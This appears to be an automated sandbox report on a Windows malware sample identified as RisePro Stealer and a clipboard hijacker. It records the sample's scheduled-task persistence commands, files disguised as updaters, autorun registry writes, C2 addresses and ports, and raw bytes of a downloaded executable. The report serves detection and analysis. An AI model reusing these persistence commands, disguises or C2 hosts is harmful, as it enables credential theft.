Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1443534
MD5:	3d09739846543f4962f2b432da671c29
SHA1:	2247e38b1f5257df93db091328488c652f6bea0a
SHA256:	70aaa6e67944e919f8c7bbdf71b6b09deed41f51166bc1dc15fc6f66efc1b014
Tags:	exe
Infos:

Detection

Clipboard Hijacker, RisePro Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Yara detected Clipboard Hijacker

Yara detected RisePro Stealer

Machine Learning detection for sample

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file contains section with special chars

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Abnormal high CPU Usage

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 4112 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3D09739846543F4962F2B432DA671C29)

schtasks.exe (PID: 3692 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6668 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 4500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

llmcrdwzLnNKYB4T0Vnw.exe (PID: 7056 cmdline: "C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 5728 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 4748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSIUpdaterV2.exe (PID: 6504 cmdline: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 6968 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSIUpdaterV2.exe (PID: 1628 cmdline: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

oobeldr.exe (PID: 7044 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 2504 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 4320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AdobeUpdaterV2.exe (PID: 6436 cmdline: "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

AdobeUpdaterV2.exe (PID: 4332 cmdline: "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

EdgeMS2.exe (PID: 2860 cmdline: "C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\dZGGvSkztfgYu5jqSY21Wne.zip	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000011.00000002.2298062400.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000011.00000002.2298062400.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000000.00000002.4445088347.0000000006449000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000000.00000003.2157362439.00000000061CB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000013.00000002.2460266314.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000013.00000002.2460266314.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000009.00000002.2211800433.0000000000401000.00000020.00000001.01000000.00000008.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000009.00000002.2211800433.0000000000401000.00000020.00000001.01000000.00000008.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000007.00000002.2220685526.0000000000401000.00000020.00000001.01000000.00000006.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000007.00000002.2220685526.0000000000401000.00000020.00000001.01000000.00000006.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000008.00000002.2218340799.0000000000401000.00000020.00000001.01000000.00000006.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000008.00000002.2218340799.0000000000401000.00000020.00000001.01000000.00000006.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
0000000E.00000002.4441908172.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000E.00000002.4441908172.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000012.00000002.2379291934.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000012.00000002.2379291934.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
Process Memory Space: file.exe PID: 4112	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: file.exe PID: 4112	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.MSIUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
8.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
8.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
7.2.MSIUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
7.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
7.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
19.2.EdgeMS2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
19.2.EdgeMS2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
19.2.EdgeMS2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
14.2.oobeldr.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
14.2.oobeldr.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
14.2.oobeldr.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
18.2.AdobeUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
18.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
18.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
17.2.AdobeUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
17.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
17.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
9.2.llmcrdwzLnNKYB4T0Vnw.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
9.2.llmcrdwzLnNKYB4T0Vnw.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
9.2.llmcrdwzLnNKYB4T0Vnw.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
Click to see the 16 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\file.exe, ProcessId: 4112, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\file.exe, ProcessId: 4112, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe, ParentProcessId: 7056, ParentProcessName: llmcrdwzLnNKYB4T0Vnw.exe, ProcessCommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", ProcessId: 5728, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Snort Signatures

ET TROJAN RisePro TCP Heartbeat Packet - Source IP: 192.168.2.5 - Destination IP: 5.42.96.65

Timestamp:	05/17/24-23:45:00.848746
SID:	2049060
Source Port:	49704
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.5 - Destination IP: 5.42.96.65

Timestamp:	05/17/24-23:45:05.461512
SID:	2046269
Source Port:	49704
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP v.0.x (Get_settings) - Source IP: 192.168.2.5 - Destination IP: 5.42.96.65

Timestamp:	05/17/24-23:45:05.093768
SID:	2046268
Source Port:	49704
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile - Source IP: 192.168.2.5 - Destination IP: 5.42.96.170

Timestamp:	05/17/24-23:45:14.161367
SID:	2019714
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET TROJAN [ANY.RUN] RisePro TCP (External IP) - Source IP: 5.42.96.65 - Destination IP: 192.168.2.5

Timestamp:	05/17/24-23:45:02.216807
SID:	2046267
Source Port:	50500
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 5.42.96.65 - Destination IP: 192.168.2.5

Timestamp:	05/17/24-23:45:01.844974
SID:	2046266
Source Port:	50500
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\l2[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\l2[1].exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	ReversingLabs: Detection: 83%

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.5:49706 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D2B2C0 FindFirstFileA,CreateDirectoryA,GetLastError,CopyFileA,GetLastError,CopyFileA,GetLastError,CopyFileA,GetLastError,FindNextFileA,FindClose,GetLastError,	0_2_06D2B2C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D62EAD GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	0_2_06D62EAD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D7CCFD FindFirstFileExW,	0_2_06D7CCFD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D2BAC0 FindFirstFileA,SetFileAttributesA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,	0_2_06D2BAC0

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2049060 ET TROJAN RisePro TCP Heartbeat Packet 192.168.2.5:49704 -> 5.42.96.65:50500
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 5.42.96.65:50500 -> 192.168.2.5:49704
Source: Traffic	Snort IDS: 2046267 ET TROJAN [ANY.RUN] RisePro TCP (External IP) 5.42.96.65:50500 -> 192.168.2.5:49704
Source: Traffic	Snort IDS: 2046268 ET TROJAN [ANY.RUN] RisePro TCP v.0.x (Get_settings) 192.168.2.5:49704 -> 5.42.96.65:50500
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.5:49704 -> 5.42.96.65:50500
Source: Traffic	Snort IDS: 2019714 ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile 192.168.2.5:49707 -> 5.42.96.170:80

Source: global traffic

TCP traffic: 192.168.2.5:49704 -> 5.42.96.65:50500

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 17 May 2024 21:45:14 GMTServer: Apache/2.4.59 (Debian)Last-Modified: Thu, 16 May 2024 16:35:58 GMTETag: "45a2b8-61894d4759081"Accept-Ranges: bytesContent-Length: 4563640Content-Type: application/x-msdos-programData Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 a9 4d d8 61 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 1d 00 18 00 00 00 5e 19 00 00 00 00 00 c8 80 77 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 7d 00 00 02 00 00 6d 1a 46 00 02 00 00 85 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 77 00 c8 00 00 00 00 90 77 00 7c f6 05 00 00 00 00 00 00 00 00 00 00 8a 45 00 b8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 80 77 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 4d 50 52 45 53 53 31 00 70 77 00 00 10 00 00 00 82 3f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 4d 50 52 45 53 53 32 32 0c 00 00 00 80 77 00 00 0e 00 00 00 84 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 72 73 72 63 00 00 00 7c f6 05 00 00 90 77 00 00 f8 05 00 00 92 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 32 2e 31 39 77 07 ae 80 3f 00 20 05 00 00 6f fd ff ff a3 b7 ff 47 3e 48 15 72 39 61 51 b8 92 28 e6 a3 86 07 f9 ee e4 1e 82 60 06 2e 19 84 3d c1 98 07 18 3f b1 8a c8 06 21 97 5a 9f 17 26 49 ef d7 89 87 a0 7f f8 9c 1a 49 31 38 ab c9 5a 21 b9 88 59 1b ae 73 bb 19 eb 5b 51 58 ea b8 cf f9 ca 61 e9 ea fc d8 84 59 59 a3 81 db 8e 29 e7 76 bc d0 d2 e2 0b 6e c0 ce 18 8d 84 c5 87 7c 29 a6 0c ed c1 5e 66 bf 07 2b e3 8a 3e 03 98 38 34 68 38 32 67 b0 86 8a 3e 2a b4 68 62 5c b0 a7 9b 45 96 28 ad 78 ba dd 89 a6 ce bc d5 40 b7 38 5f c9 39 ec 34 55 10 6d 18 ec 27 8d 73 cb c6 0f d8 05 bc 23 ff 88 ab da b9 96 30 33 fc b8 00 a9 fc 92 1d 4f c4 e7 90 5d 60 12 9b 53 32 db b8 40 23 0f c7 03 0e ab 10 fd b8 f2 6f 46 7e 9e 2a fd 52 a1 c1 51 7f d0 71 be 6f 98 79 6e fb c1 da 4f 41 40 7c 1f ec 12 e5 67 c5 d8 1f 46 b5 b1 d2 97 12 30 90 6a b0 c9 1f 1e a8 e1 11 73 2f 0b e5 48 af 0a 2b 20 30 43 da 21 be 8e ec f6 37 73 ee f1 5e 48 2c 1a 0b be 82 1d a8 20 0e ce 7b 8d f5 c5 f5 e3 da 80 c7 b4 ba 02 87 94 03 b5 02 97 44 af ba e5 e0 f5 bf 72 12 49 97 0b 2c 7c 8b 1d ae 9b bd d0 7f a8 75 84 36 ba bb 9e 15 0a be 45 3e 71 de d7 7d 7f dc d8 99 86 67 a0 c3 29 e4 8b 55 fe e5 4d 45 98 27 d7 91 6a 7d f4 1a 1a c6 e0 91 00 ee f6 37 5e 